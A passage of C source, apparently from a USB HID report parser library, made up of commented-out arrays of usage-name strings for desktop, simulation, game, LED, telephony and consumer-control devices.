=\n//{\n//\tpstrUsageSystemControl\t\t,\n//\tpstrUsageSystemPowerDown\t,\n//\tpstrUsageSystemSleep\t\t,\n//\tpstrUsageSystemWakeup\t\t,\n//\tpstrUsageSystemContextMenu\t,\n//\tpstrUsageSystemMainMenu\t\t,\n//\tpstrUsageSystemAppMenu\t\t,\n//\tpstrUsageSystemMenuHelp\t\t,\n//\tpstrUsageSystemMenuExit\t\t,\n//\tpstrUsageSystemMenuSelect\t,\n//\tpstrUsageSystemMenuRight\t,\n//\tpstrUsageSystemMenuLeft\t\t,\n//\tpstrUsageSystemMenuUp\t\t,\n//\tpstrUsageSystemMenuDown\t\t,\n//\tpstrUsageSystemColdRestart\t,\n//\tpstrUsageSystemWarmRestart\t,\n//\tpstrUsageDPadUp\t\t\t\t,\n//\tpstrUsageDPadDown\t\t\t,\n//\tpstrUsageDPadRight\t\t\t,\n//\tpstrUsageDPadLeft\n//};\n//const char *genDesktopTitles3[] PROGMEM =\n//{\n//\tpstrUsageSystemDock\t\t\t\t,\n//\tpstrUsageSystemUndock\t\t\t,\n//\tpstrUsageSystemSetup\t\t\t,\n//\tpstrUsageSystemBreak\t\t\t,\n//\tpstrUsageSystemDebuggerBreak\t,\n//\tpstrUsageApplicationBreak\t\t,\n//\tpstrUsageApplicationDebuggerBreak,\n//\tpstrUsageSystemSpeakerMute\t\t,\n//\tpstrUsageSystemHibernate\n//};\n//const char *genDesktopTitles4[] PROGMEM =\n//{\n//\tpstrUsageSystemDisplayInvert\t\t,\n//\tpstrUsageSystemDisplayInternal\t\t,\n//\tpstrUsageSystemDisplayExternal\t\t,\n//\tpstrUsageSystemDisplayBoth\t\t\t,\n//\tpstrUsageSystemDisplayDual\t\t\t,\n//\tpstrUsageSystemDisplayToggleIntExt\t,\n//\tpstrUsageSystemDisplaySwapPriSec\t,\n//\tpstrUsageSystemDisplayLCDAutoscale\n//};\n//const char *simuTitles0[] PROGMEM =\n//{\n//\tpstrUsageFlightSimulationDevice\t\t,\n//\tpstrUsageAutomobileSimulationDevice\t,\n//\tpstrUsageTankSimulationDevice\t\t,\n//\tpstrUsageSpaceshipSimulationDevice\t,\n//\tpstrUsageSubmarineSimulationDevice\t,\n//\tpstrUsageSailingSimulationDevice\t,\n//\tpstrUsageMotocicleSimulationDevice\t,\n//\tpstrUsageSportsSimulationDevice\t\t,\n//\tpstrUsageAirplaneSimulationDevice\t,\n//\tpstrUsageHelicopterSimulationDevice\t,\n//\tpstrUsageMagicCarpetSimulationDevice,\n//\tpstrUsageBicycleSimulationDevice\n//};\n//const char *simuTitles1[] PROGMEM =\n//{\n//\tpstrUsageFlightControlStick\t\t\t,\n//\tpstrUsageFlightStick\t\t\t\t,\n//\tpstrUsageCyclicControl\t\t\t\t,\n//\tpstrUsageCyclicTrim\t\t\t\t\t,\n//\tpstrUsageFlightYoke\t\t\t\t\t,\n//\tpstrUsageTrackControl\n//};\n//const char *simuTitles2[] PROGMEM =\n//{\n//\tpstrUsageAileron\t\t\t\t\t,\n//\tpstrUsageAileronTrim\t\t\t\t,\n//\tpstrUsageAntiTorqueControl\t\t\t,\n//\tpstrUsageAutopilotEnable\t\t\t,\n//\tpstrUsageChaffRelease\t\t\t\t,\n//\tpstrUsageCollectiveControl\t\t\t,\n//\tpstrUsageDiveBrake\t\t\t\t\t,\n//\tpstrUsageElectronicCountermeasures\t,\n//\tpstrUsageElevator\t\t\t\t\t,\n//\tpstrUsageElevatorTrim\t\t\t\t,\n//\tpstrUsageRudder\t\t\t\t\t\t,\n//\tpstrUsageThrottle\t\t\t\t\t,\n//\tpstrUsageFlightCommunications\t\t,\n//\tpstrUsageFlareRelease\t\t\t\t,\n//\tpstrUsageLandingGear\t\t\t\t,\n//\tpstrUsageToeBrake\t\t\t\t\t,\n//\tpstrUsageTrigger\t\t\t\t\t,\n//\tpstrUsageWeaponsArm\t\t\t\t\t,\n//\tpstrUsageWeaponsSelect\t\t\t\t,\n//\tpstrUsageWingFlaps\t\t\t\t\t,\n//\tpstrUsageAccelerator\t\t\t\t,\n//\tpstrUsageBrake\t\t\t\t\t\t,\n//\tpstrUsageClutch\t\t\t\t\t\t,\n//\tpstrUsageShifter\t\t\t\t\t,\n//\tpstrUsageSteering\t\t\t\t\t,\n//\tpstrUsageTurretDirection\t\t\t,\n//\tpstrUsageBarrelElevation\t\t\t,\n//\tpstrUsageDivePlane\t\t\t\t\t,\n//\tpstrUsageBallast\t\t\t\t\t,\n//\tpstrUsageBicycleCrank\t\t\t\t,\n//\tpstrUsageHandleBars\t\t\t\t\t,\n//\tpstrUsageFrontBrake\t\t\t\t\t,\n//\tpstrUsageRearBrake\n//};\n//const char *vrTitles0[]\tPROGMEM =\n//{\n//\tpstrUsageBelt\t\t\t\t,\n//\tpstrUsageBodySuit\t\t\t,\n//\tpstrUsageFlexor\t\t\t\t,\n//\tpstrUsageGlove\t\t\t\t,\n//\tpstrUsageHeadTracker\t\t,\n//\tpstrUsageHeadMountedDisplay\t,\n//\tpstrUsageHandTracker\t\t,\n//\tpstrUsageOculometer\t\t\t,\n//\tpstrUsageVest\t\t\t\t,\n//\tpstrUsageAnimatronicDevice\n//};\n//const char *vrTitles1[]\tPROGMEM =\n//{\n//\tpstrUsageStereoEnable\t,\n//\tpstrUsageDisplayEnable\n//};\n//const char *sportsCtrlTitles0[]\tPROGMEM =\n//{\n//\tpstrUsageBaseballBat\t\t\t\t,\n//\tpstrUsageGolfClub\t\t\t\t\t,\n//\tpstrUsageRowingMachine\t\t\t\t,\n//\tpstrUsageTreadmill\n//};\n//const char *sportsCtrlTitles1[]\tPROGMEM =\n//{\n//\tpstrUsageOar\t\t\t\t\t\t,\n//\tpstrUsageSlope\t\t\t\t\t\t,\n//\tpstrUsageRate\t\t\t\t\t\t,\n//\tpstrUsageStickSpeed\t\t\t\t\t,\n//\tpstrUsageStickFaceAngle\t\t\t\t,\n//\tpstrUsageStickHeelToe\t\t\t\t,\n//\tpstrUsageStickFollowThough\t\t\t,\n//\tpstrUsageStickTempo\t\t\t\t\t,\n//\tpstrUsageStickType\t\t\t\t\t,\n//\tpstrUsageStickHeight\n//};\n//const char *sportsCtrlTitles2[]\tPROGMEM =\n//{\n//\tpstrUsagePutter\t\t\t\t\t\t,\n//\tpstrUsage1Iron\t\t\t\t\t\t,\n//\tpstrUsage2Iron\t\t\t\t\t\t,\n//\tpstrUsage3Iron\t\t\t\t\t\t,\n//\tpstrUsage4Iron\t\t\t\t\t\t,\n//\tpstrUsage5Iron\t\t\t\t\t\t,\n//\tpstrUsage6Iron\t\t\t\t\t\t,\n//\tpstrUsage7Iron\t\t\t\t\t\t,\n//\tpstrUsage8Iron\t\t\t\t\t\t,\n//\tpstrUsage9Iron\t\t\t\t\t\t,\n//\tpstrUsage10Iron\t\t\t\t\t\t,\n//\tpstrUsage11Iron\t\t\t\t\t\t,\n//\tpstrUsageSandWedge\t\t\t\t\t,\n//\tpstrUsageLoftWedge\t\t\t\t\t,\n//\tpstrUsagePowerWedge\t\t\t\t\t,\n//\tpstrUsage1Wood\t\t\t\t\t\t,\n//\tpstrUsage3Wood\t\t\t\t\t\t,\n//\tpstrUsage5Wood\t\t\t\t\t\t,\n//\tpstrUsage7Wood\t\t\t\t\t\t,\n//\tpstrUsage9Wood\n//};\n//const char *gameTitles0[] PROGMEM =\n//{\n//\tpstrUsage3DGameController\t\t,\n//\tpstrUsagePinballDevice\t\t\t,\n//\tpstrUsageGunDevice\n//};\n//const char *gameTitles1[] PROGMEM =\n//{\n//\tpstrUsagePointOfView\t\t\t,\n//\tpstrUsageTurnRightLeft\t\t\t,\n//\tpstrUsagePitchForwardBackward\t,\n//\tpstrUsageRollRightLeft\t\t\t,\n//\tpstrUsageMoveRightLeft\t\t\t,\n//\tpstrUsageMoveForwardBackward\t,\n//\tpstrUsageMoveUpDown\t\t\t\t,\n//\tpstrUsageLeanRightLeft\t\t\t,\n//\tpstrUsageLeanForwardBackward\t,\n//\tpstrUsageHeightOfPOV\t\t\t,\n//\tpstrUsageFlipper\t\t\t\t,\n//\tpstrUsageSecondaryFlipper\t\t,\n//\tpstrUsageBump\t\t\t\t\t,\n//\tpstrUsageNewGame\t\t\t\t,\n//\tpstrUsageShootBall\t\t\t\t,\n//\tpstrUsagePlayer\t\t\t\t\t,\n//\tpstrUsageGunBolt\t\t\t\t,\n//\tpstrUsageGunClip\t\t\t\t,\n//\tpstrUsageGunSelector\t\t\t,\n//\tpstrUsageGunSingleShot\t\t\t,\n//\tpstrUsageGunBurst\t\t\t\t,\n//\tpstrUsageGunAutomatic\t\t\t,\n//\tpstrUsageGunSafety\t\t\t\t,\n//\tpstrUsageGamepadFireJump\t\t,\n//\tpstrUsageGamepadTrigger\n//};\n//const char *genDevCtrlTitles[] PROGMEM =\n//{\n//\tpstrUsageBatteryStrength,\n//\tpstrUsageWirelessChannel,\n//\tpstrUsageWirelessID,\n//\tpstrUsageDiscoverWirelessControl,\n//\tpstrUsageSecurityCodeCharEntered,\n//\tpstrUsageSecurityCodeCharErased,\n//\tpstrUsageSecurityCodeCleared\n//};\n//const char *ledTitles[] PROGMEM =\n//{\n//\tpstrUsageNumLock\t\t\t\t\t\t,\n//\tpstrUsageCapsLock\t\t\t\t\t,\n//\tpstrUsageScrollLock\t\t\t\t\t,\n//\tpstrUsageCompose\t\t\t\t\t,\n//\tpstrUsageKana\t\t\t\t\t\t,\n//\tpstrUsagePower\t\t\t\t\t\t,\n//\tpstrUsageShift\t\t\t\t\t\t,\n//\tpstrUsageDoNotDisturb\t\t\t\t,\n//\tpstrUsageMute\t\t\t\t\t\t,\n//\tpstrUsageToneEnable\t\t\t\t\t,\n//\tpstrUsageHighCutFilter\t\t\t\t,\n//\tpstrUsageLowCutFilter\t\t\t\t,\n//\tpstrUsageEqualizerEnable\t\t\t,\n//\tpstrUsageSoundFieldOn\t\t\t\t,\n//\tpstrUsageSurroundOn\t\t\t\t\t,\n//\tpstrUsageRepeat\t\t\t\t\t\t,\n//\tpstrUsageStereo\t\t\t\t\t\t,\n//\tpstrUsageSamplingRateDetect\t\t\t,\n//\tpstrUsageSpinning\t\t\t\t\t,\n//\tpstrUsageCAV\t\t\t\t\t\t,\n//\tpstrUsageCLV\t\t\t\t\t\t,\n//\tpstrUsageRecordingFormatDetect\t\t,\n//\tpstrUsageOffHook\t\t\t\t\t,\n//\tpstrUsageRing\t\t\t\t\t\t,\n//\tpstrUsageMessageWaiting\t\t\t\t,\n//\tpstrUsageDataMode\t\t\t\t\t,\n//\tpstrUsageBatteryOperation\t\t\t,\n//\tpstrUsageBatteryOK\t\t\t\t\t,\n//\tpstrUsageBatteryLow\t\t\t\t\t,\n//\tpstrUsageSpeaker\t\t\t\t\t,\n//\tpstrUsageHeadSet\t\t\t\t\t,\n//\tpstrUsageHold\t\t\t\t\t\t,\n//\tpstrUsageMicrophone\t\t\t\t\t,\n//\tpstrUsageCoverage\t\t\t\t\t,\n//\tpstrUsageNightMode\t\t\t\t\t,\n//\tpstrUsageSendCalls\t\t\t\t\t,\n//\tpstrUsageCallPickup\t\t\t\t\t,\n//\tpstrUsageConference\t\t\t\t\t,\n//\tpstrUsageStandBy\t\t\t\t\t,\n//\tpstrUsageCameraOn\t\t\t\t\t,\n//\tpstrUsageCameraOff\t\t\t\t\t,\n//\tpstrUsageOnLine\t\t\t\t\t\t,\n//\tpstrUsageOffLine\t\t\t\t\t,\n//\tpstrUsageBusy\t\t\t\t\t\t,\n//\tpstrUsageReady\t\t\t\t\t\t,\n//\tpstrUsagePaperOut\t\t\t\t\t,\n//\tpstrUsagePaperJam\t\t\t\t\t,\n//\tpstrUsageRemote\t\t\t\t\t\t,\n//\tpstrUsageForward\t\t\t\t\t,\n//\tpstrUsageReverse\t\t\t\t\t,\n//\tpstrUsageStop\t\t\t\t\t\t,\n//\tpstrUsageRewind\t\t\t\t\t\t,\n//\tpstrUsageFastForward\t\t\t\t,\n//\tpstrUsagePlay\t\t\t\t\t\t,\n//\tpstrUsagePause\t\t\t\t\t\t,\n//\tpstrUsageRecord\t\t\t\t\t\t,\n//\tpstrUsageError\t\t\t\t\t\t,\n//\tpstrUsageSelectedIndicator\t\t\t,\n//\tpstrUsageInUseIndicator\t\t\t\t,\n//\tpstrUsageMultiModeIndicator\t\t\t,\n//\tpstrUsageIndicatorOn\t\t\t\t,\n//\tpstrUsageIndicatorFlash\t\t\t\t,\n//\tpstrUsageIndicatorSlowBlink\t\t\t,\n//\tpstrUsageIndicatorFastBlink\t\t\t,\n//\tpstrUsageIndicatorOff\t\t\t\t,\n//\tpstrUsageFlashOnTime\t\t\t\t,\n//\tpstrUsageSlowBlinkOnTime\t\t\t,\n//\tpstrUsageSlowBlinkOffTime\t\t\t,\n//\tpstrUsageFastBlinkOnTime\t\t\t,\n//\tpstrUsageFastBlinkOffTime\t\t\t,\n//\tpstrUsageIndicatorColor\t\t\t\t,\n//\tpstrUsageIndicatorRed\t\t\t\t,\n//\tpstrUsageIndicatorGreen\t\t\t\t,\n//\tpstrUsageIndicatorAmber\t\t\t\t,\n//\tpstrUsageGenericIndicator\t\t\t,\n//\tpstrUsageSystemSuspend\t\t\t\t,\n//\tpstrUsageExternalPowerConnected\n//};\n//const char *telTitles0\t\t\t[] PROGMEM =\n//{\n//\tpstrUsagePhone\t\t\t\t,\n//\tpstrUsageAnsweringMachine\t,\n//\tpstrUsageMessageControls\t,\n//\tpstrUsageHandset\t\t\t,\n//\tpstrUsageHeadset\t\t\t,\n//\tpstrUsageTelephonyKeyPad\t,\n//\tpstrUsageProgrammableButton\n//};\n//const char *telTitles1\t\t\t[] PROGMEM =\n//{\n//\tpstrUsageHookSwitch\t\t\t\t\t,\n//\tpstrUsageFlash\t\t\t\t\t\t,\n//\tpstrUsageFeature\t\t\t\t\t,\n//\tpstrUsageHold\t\t\t\t\t\t,\n//\tpstrUsageRedial\t\t\t\t\t\t,\n//\tpstrUsageTransfer\t\t\t\t\t,\n//\tpstrUsageDrop\t\t\t\t\t\t,\n//\tpstrUsagePark\t\t\t\t\t\t,\n//\tpstrUsageForwardCalls\t\t\t\t,\n//\tpstrUsageAlternateFunction\t\t\t,\n//\tpstrUsageLine\t\t\t\t\t\t,\n//\tpstrUsageSpeakerPhone\t\t\t\t,\n//\tpstrUsageConference\t\t\t\t,\n//\tpstrUsageRingEnable\t\t\t\t,\n//\tpstrUsageRingSelect\t\t\t\t,\n//\tpstrUsagePhoneMute\t\t\t\t,\n//\tpstrUsageCallerID\t\t\t\t,\n//\tpstrUsageSend\n//};\n//const char *telTitles2\t\t\t[] PROGMEM =\n//{\n//\tpstrUsageSpeedDial\t\t,\n//\tpstrUsageStoreNumber\t,\n//\tpstrUsageRecallNumber\t,\n//\tpstrUsagePhoneDirectory\n//};\n//const char *telTitles3\t\t\t[] PROGMEM =\n//{\n//\tpstrUsageVoiceMail\t\t,\n//\tpstrUsageScreenCalls\t,\n//\tpstrUsageDoNotDisturb\t,\n//\tpstrUsageMessage\t\t,\n//\tpstrUsageAnswerOnOff\n//};\n//const char *telTitles4\t\t\t[] PROGMEM =\n//{\n//\tpstrUsageInsideDialTone\t\t\t,\n//\tpstrUsageOutsideDialTone\t\t,\n//\tpstrUsageInsideRingTone\t\t\t,\n//\tpstrUsageOutsideRingTone\t\t,\n//\tpstrUsagePriorityRingTone\t\t,\n//\tpstrUsageInsideRingback\t\t\t,\n//\tpstrUsagePriorityRingback\t\t,\n//\tpstrUsageLineBusyTone\t\t\t,\n//\tpstrUsageReorderTone\t\t\t,\n//\tpstrUsageCallWaitingTone\t\t,\n//\tpstrUsageConfirmationTone1\t\t,\n//\tpstrUsageConfirmationTone2\t\t,\n//\tpstrUsageTonesOff\t\t\t\t,\n//\tpstrUsageOutsideRingback\t\t,\n//\tpstrUsageRinger\n//};\n//const char *telTitles5\t\t\t[] PROGMEM =\n//{\n//\tpstrUsagePhoneKey0\t\t,\n//\tpstrUsagePhoneKey1\t\t,\n//\tpstrUsagePhoneKey2\t\t,\n//\tpstrUsagePhoneKey3\t\t,\n//\tpstrUsagePhoneKey4\t\t,\n//\tpstrUsagePhoneKey5\t\t,\n//\tpstrUsagePhoneKey6\t\t,\n//\tpstrUsagePhoneKey7\t\t,\n//\tpstrUsagePhoneKey8\t\t,\n//\tpstrUsagePhoneKey9\t\t,\n//\tpstrUsagePhoneKeyStar\t,\n//\tpstrUsagePhoneKeyPound\t,\n//\tpstrUsagePhoneKeyA\t\t,\n//\tpstrUsagePhoneKeyB\t\t,\n//\tpstrUsagePhoneKeyC\t\t,\n//\tpstrUsagePhoneKeyD\n//};\n//const char *consTitles0[]\tPROGMEM\t=\n//{\n//\tpstrUsageConsumerControl,\n//\tpstrUsageNumericKeyPad,\n//\tpstrUsageProgrammableButton,\n//\tpstrUsageMicrophone,\n//\tpstrUsageHeadphone,\n//\tpstrUsageGraphicEqualizer\n//};\n//const char *consTitles1[]\tPROGMEM\t=\n//{\n//\tpstrUsagePlus10\t,\n//\tpstrUsagePlus100,\n//\tpstrUsageAMPM\n//};\n//const char *consTitles2[]\tPROGMEM\t=\n//{\n//\tpstrUsagePower\t\t\t,\n//\tpstrUsageReset\t\t\t,\n//\tpstrUsageSleep\t\t\t,\n//\tpstrUsageSleepAfter\t\t,\n//\tpstrUsageSleepMode\t\t,\n//\tpstrUsageIllumination\t,\n//\tpstrUsageFunctionButtons\n//\n//};\n//const char *consTitles3[]\tPROGMEM\t=\n//{\n//\tpstrUsageMenu\t\t\t,\n//\tpstrUsageMenuPick\t\t,\n//\tpstrUsageMenuUp\t\t\t,\n//\tpstrUsageMenuDown\t\t,\n//\tpstrUsageMenuLeft\t\t,\n//\tpstrUsageMenuRight\t\t,\n//\tpstrUsageMenuEscape\t\t,\n//\tpstrUsageMenuValueIncrease,\n//\tpstrUsageMenuValueDecrease\n//};\n//const char *consTitles4[]\tPROGMEM\t=\n//{\n//\tpstrUsageDataOnScreen\t\t,\n//\tpstrUsageClosedCaption\t\t,\n//\tpstrUsageClosedCaptionSelect,\n//\tpstrUsageVCRTV\t\t\t\t,\n//\tpstrUsageBroadcastMode\t\t,\n//\tpstrUsageSnapshot\t\t\t,\n//\tpstrUsageStill\n//};\n//const char *consTitles5[]\tPROGMEM\t=\n//{\n//\tpstrUsageSelection\t\t\t\t\t,\n//\tpstrUsageAssignSelection\t\t\t,\n//\tpstrUsageModeStep\t\t\t\t\t,\n//\tpstrUsageRecallLast\t\t\t\t\t,\n//\tpstrUsageEnterChannel\t\t\t\t,\n//\tpstrUsageOrderMovie\t\t\t\t\t,\n//\tpstrUsageChannel\t\t\t\t\t,\n//\tpstrUsageMediaSelection\t\t\t\t,\n//\tpstrUsageMediaSelectComputer\t\t,\n//\tpstrUsageMediaSelectTV\t\t\t\t,\n//\tpstrUsageMediaSelectWWW\t\t\t\t,\n//\tpstrUsageMediaSelectDVD\t\t\t\t,\n//\tpstrUsageMediaSelectTelephone\t\t,\n//\tpstrUsageMediaSelectProgramGuide\t,\n//\tpstrUsageMediaSelectVideoPhone\t\t,\n//\tpstrUsageMediaSelectGames\t\t\t,\n//\tpstrUsageMediaSelectMessages\t\t,\n//\tpstrUsageMediaSelectCD\t\t\t\t,\n//\tpstrUsageMediaSelectVCR\t\t\t\t,\n//\tpstrUsageMediaSelectTuner\t\t\t,\n//\tpstrUsageQuit\t\t\t\t\t\t,\n//\tpstrUsageHelp\t\t\t\t\t\t,\n//\tpstrUsageMediaSelectTape\t\t\t,\n//\tpstrUsageMediaSelectCable\t\t\t,\n//\tpstrUsageMediaSelectSatellite\t\t,\n//\tpstrUsageMediaSelectSecurity\t\t,\n//\tpstrUsageMediaSelectHome\t\t\t,\n//\tpstrUsageMediaSelectCall\t\t\t,\n//\tpstrUsageChannelIncrement\t\t\t,\n//\tpstrUsageChannelDecrement\t\t\t,\n//\tpstrUsageMediaSelectSAP\t\t\t\t,\n//\tpstrUsagePageReserved\t\t\t\t,\n//\tpstrUsageVCRPlus\t\t\t\t\t,\n//\tpstrUsageOnce\t\t\t\t\t\t,\n//\tpstrUsageDaily\t\t\t\t\t\t,\n//\tpstrUsageWeekly\t\t\t\t\t\t,\n//\tpstrUsageMonthly\n//};\n//const char *consTitles6[]\tPROGMEM\t=\n//{\n//\tpstrUsagePlay\t\t\t\t\t,\n//\tpstrUsagePause\t\t\t\t\t,\n//\tpstrUsageRecord\t\t\t\t\t,\n//\tpstrUsageFastForward\t\t\t,\n//\tpstrUsageRewind\t\t\t\t\t,\n//\tpstrUsageScanNextTrack\t\t\t,\n//\tpstrUsageScanPreviousTrack\t\t,\n//\tpstrUsageStop\t\t\t\t\t,\n//\tpstrUsageEject\t\t\t\t\t,\n//\tpstrUsageRandomPlay\t\t\t\t,\n//\tpstrUsageSelectDisk\t\t\t\t,\n//\tpstrUsageEnterDisk\t\t\t\t,\n//\tpstrUsageRepeat\t\t\t\t\t,\n//\tpstrUsageTracking\t\t\t\t\t,\n//\tpstrUsageTrackNormal\t\t\t\t,\n//\tpstrUsageSlowTracking\t\t\t\t,\n//\tpstrUsageFrameForward\t\t\t\t,\n//\tpstrUsageFrameBackwards\t\t\t\t,\n//\tpstrUsageMark\t\t\t\t\t\t,\n//\tpstrUsageClearMark\t\t\t\t\t,\n//\tpstrUsageRepeatFromMark\t\t\t\t,\n//\tpstrUsageReturnToMark\t\t\t\t,\n//\tpstrUsageSearchMarkForward\t\t\t,\n//\tpstrUsageSearchMarkBackwards\t\t,\n//\tpstrUsageCounterReset\t\t\t\t,\n//\tpstrUsageShowCounter\t\t\t\t,\n//\tpstrUsageTrackingIncrement\t\t\t,\n//\tpstrUsageTrackingDecrement\t\t\t,\n//\tpstrUsageStopEject\t\t\t\t\t,\n//\tpstrUsagePlayPause\t\t\t\t\t,\n//\tpstrUsagePlaySkip\n//};\n//const char *consTitles7[]\tPROGMEM\t=\n//{\n//\tpstrUsageVolume\t\t\t\t\t\t,\n//\tpstrUsageBalance\t\t\t\t\t,\n//\tpstrUsageMute\t\t\t\t\t\t,\n//\tpstrUsageBass\t\t\t\t\t\t,\n//\tpstrUsageTreble\t\t\t\t\t\t,\n//\tpstrUsageBassBoost\t\t\t\t\t,\n//\tpstrUsageSurroundMode\t\t\t\t,\n//\tpstrUsageLoudness\t\t\t\t\t,\n//\tpstrUsageMPX\t\t\t\t\t\t,\n//\tpstrUsageVolumeIncrement\t\t\t,\n//\tpstrUsageVolumeDecrement\n//};\n//const char *consTitles8[]\tPROGMEM\t=\n//{\n//\tpstrUsageSpeedSelect\t\t\t\t,\n//\tpstrUsagePlaybackSpeed\t\t\t\t,\n//\tpstrUsageStandardPlay\t\t\t\t,\n//\tpstrUsageLongPlay\t\t\t\t\t,\n//\tpstrUsageExtendedPlay\t\t\t\t,\n//\tpstrUsageSlow\n//};\n//const char *consTitles9[]\tPROGMEM\t=\n//{\n//\tpstrUsageFanEnable\t\t\t\t\t,\n//\tpstrUsageFanSpeed\t\t\t\t\t,\n//\tpstrUsageLightEnable\t\t\t\t,\n//\tpstrUsageLightIlluminationLevel\t\t,\n//\tpstrUsageClimateControlEnable\t\t,\n//\tpstrUsageRoomTemperature\t\t\t,\n//\tpstrUsageSecurityEnable\t\t\t\t,\n//\tpstrUsageFireAlarm\t\t\t\t\t,\n//\tpstrUsagePoliceAlarm\t\t\t\t,\n//\tpstrUsageProximity\t\t\t\t\t,\n//\tpstrUsageMotion\t\t\t\t\t\t,\n//\tpstrUsageDuresAlarm\t\t\t\t\t,\n//\tpstrUsageHoldupAlarm\t\t\t\t\t,\n//\tpstrUsageMedicalAlarm\n//};\n//const char *consTitlesA[]\tPROGMEM\t=\n//{\n//\tpstrUsageBalanceRight\t\t\t\t,\n//\tpstrUsageBalanceLeft\t\t\t\t,\n//\tpstrUsageBassIncrement\t\t\t\t,\n//\tpstrUsageBassDecrement\t\t\t\t,\n//\tpstrUsageTrebleIncrement\t\t\t,\n//\tpstrUsageTrebleDecrement\n//};\n//const char *consTitlesB[]\tPROGMEM\t=\n//{\n//\tpstrUsageSpeakerSystem\t\t\t\t,\n//\tpstrUsageChannelLeft\t\t\t\t,\n//\tpstrUsageChannelRight\t\t\t\t,\n//\tpstrUsageChannelCenter\t\t\t\t,\n//\tpstrUsageChannelFront\t\t\t\t,\n//\tpstrUsageChannelCenterFront\t\t\t,\n//\tpstrUsageChannelSide\t\t\t\t,\n//\tpstrUsageChannelSurround\t\t\t,\n//\tpstrUsageChannelLowFreqEnhancement\t,\n//\tpstrUsageChannelTop\t\t\t\t\t,\n//\tpstrUsageChannelUnknown\n//};\n//const char *consTitlesC[]\tPROGMEM\t=\n//{\n//\tpstrUsageSubChannel\t\t\t\t\t,\n//\tpstrUsageSubChannelIncrement\t\t,\n//\tpstrUsageSubChannelDecrement\t\t,\n//\tpstrUsageAlternateAudioIncrement\t,\n//\tpstrUsageAlternateAudioDecrement\n//};\n//const char *consTitlesD[]\tPROGMEM\t=\n//{\n//\tpstrUsageApplicationLaunchButtons\t,\n//\tpstrUsageALLaunchButtonConfigTool\t,\n//\tpstrUsageALProgrammableButton\t\t,\n//\tpstrUsageALConsumerControlConfig\t,\n//\tpstrUsageALWordProcessor\t\t\t,\n//\tpstrUsageALTextEditor\t\t\t\t,\n//\tpstrUsageALSpreadsheet\t\t\t\t,\n//\tpstrUsageALGraphicsEditor\t\t\t,\n//\tpstrUsageALPresentationApp\t\t\t,\n//\tpstrUsageALDatabaseApp\t\t\t\t,\n//\tpstrUsageALEmailReader\t\t\t\t,\n//\tpstrUsageALNewsreader\t\t\t\t,\n//\tpstrUsageALVoicemail\t\t\t\t,\n//\tpstrUsageALContactsAddressBook\t\t,\n//\tpstrUsageALCalendarSchedule\t\t\t,\n//\tpstrUsageALTaskProjectManager\t\t,\n//\tpstrUsageALLogJournalTimecard\t\t,\n//\tpstrUsageALCheckbookFinance\t\t\t,\n//\tpstrUsageALCalculator\t\t\t\t,\n//\tpstrUsageALAVCapturePlayback\t\t,\n//\tpstrUsageALLocalMachineBrowser\t\t,\n//\tpstrUsageALLANWANBrow\t\t\t\t,\n//\tpstrUsageALInternetBrowser\t\t\t,\n//\tpstrUsageALRemoteNetISPConnect\t\t,\n//\tpstrUsageALNetworkConference\t\t,\n//\tpstrUsageALNetworkChat\t\t\t\t,\n//\tpstrUsageALTelephonyDialer\t\t\t,\n//\tpstrUsageALLogon\t\t\t\t\t,\n//\tpstrUsageALLogoff\t\t\t\t\t,\n//\tpstrUsageALLogonLogoff\t\t\t\t,\n//\tpstrUsageALTermLockScrSav\t\t\t,\n//\tpstrUsageALControlPannel\t\t\t,\n//\tpstrUsageALCommandLineProcessorRun\t,\n//\tpstrUsageALProcessTaskManager\t\t,\n//\tpstrUsageALSelectTaskApplication\t,\n//\tpstrUsageALNextTaskApplication\t\t,\n//\tpstrUsageALPreviousTaskApplication\t,\n//\tpstrUsageALPreemptiveHaltTaskApp\t,\n//\tpstrUsageALIntegratedHelpCenter\t\t,\n//\tpstrUsageALDocuments\t\t\t\t,\n//\tpstrUsageALThesaurus\t\t\t\t,\n//\tpstrUsageALDictionary\t\t\t\t,\n//\tpstrUsageALDesktop\t\t\t\t\t,\n//\tpstrUsageALSpellCheck\t\t\t\t,\n//\tpstrUsageALGrammarCheck\t\t\t\t,\n//\tpstrUsageALWirelessStatus\t\t\t,\n//\tpstrUsageALKeyboardLayout\t\t\t,\n//\tpstrUsageALVirusProtection\t\t\t,\n//\tpstrUsageALEncryption\t\t\t\t,\n//\tpstrUsageALScreenSaver\t\t\t\t,\n//\tpstrUsageALAlarms\t\t\t\t\t,\n//\tpstrUsageALClock\t\t\t\t\t,\n//\tpstrUsageALFileBrowser\t\t\t\t,\n//\tpstrUsageALPowerStatus\t\t\t\t,\n//\tpstrUsageALImageBrowser\t\t\t\t,\n//\tpstrUsageALAudioBrowser\t\t\t\t,\n//\tpstrUsageALMovieBrowser\t\t\t\t,\n//\tpstrUsageALDigitalRightsManager\t\t,\n//\tpstrUsageALDigitalWallet\t\t\t,\n//\tpstrUsagePageReserved\t\t\t\t,\n//\tpstrUsageALInstantMessaging\t\t\t,\n//\tpstrUsageALOEMFeaturesBrowser\t\t,\n//\tpstrUsageALOEMHelp\t\t\t\t\t,\n//\tpstrUsageALOnlineCommunity\t\t\t,\n//\tpstrUsageALEntertainmentContentBrow\t,\n//\tpstrUsageALOnlineShoppingBrowser\t,\n//\tpstrUsageALSmartCardInfoHelp\t\t,\n//\tpstrUsageALMarketMonitorFinBrowser\t,\n//\tpstrUsageALCustomCorpNewsBrowser\t\t,\n//\tpstrUsageALOnlineActivityBrowser\t\t,\n//\tpstrUsageALResearchSearchBrowser\t\t,\n//\tpstrUsageALAudioPlayer\n//};\n//const char *consTitlesE[]\tPROGMEM\t=\n//{\n//\tpstrUsageGenericGUIAppControls\t\t,\n//\tpstrUsageACNew\t\t\t\t\t\t,\n//\tpstrUsageACOpen\t\t\t\t\t\t,\n//\tpstrUsageACClose\t\t\t\t\t,\n//\tpstrUsageACExit\t\t\t\t\t\t,\n//\tpstrUsageACMaximize\t\t\t\t\t,\n//\tpstrUsageACMinimize\t\t\t\t\t,\n//\tpstrUsageACSave\t\t\t\t\t\t,\n//\tpstrUsageACPrint\t\t\t\t\t,\n//\tpstrUsageACProperties\t\t\t\t,\n//\tpstrUsageACUndo\t\t\t\t\t\t,\n//\tpstrUsageACCopy\t\t\t\t\t\t,\n//\tpstrUsageACCut\t\t\t\t\t\t,\n//\tpstrUsageACPaste\t\t\t\t\t,\n//\tpstrUsageACSelectAll\t\t\t\t,\n//\tpstrUsageACFind\t\t\t\t\t\t,\n//\tpstrUsageACFindAndReplace\t\t\t,\n//\tpstrUsageACSearch\t\t\t\t\t,\n//\tpstrUsageACGoto\t\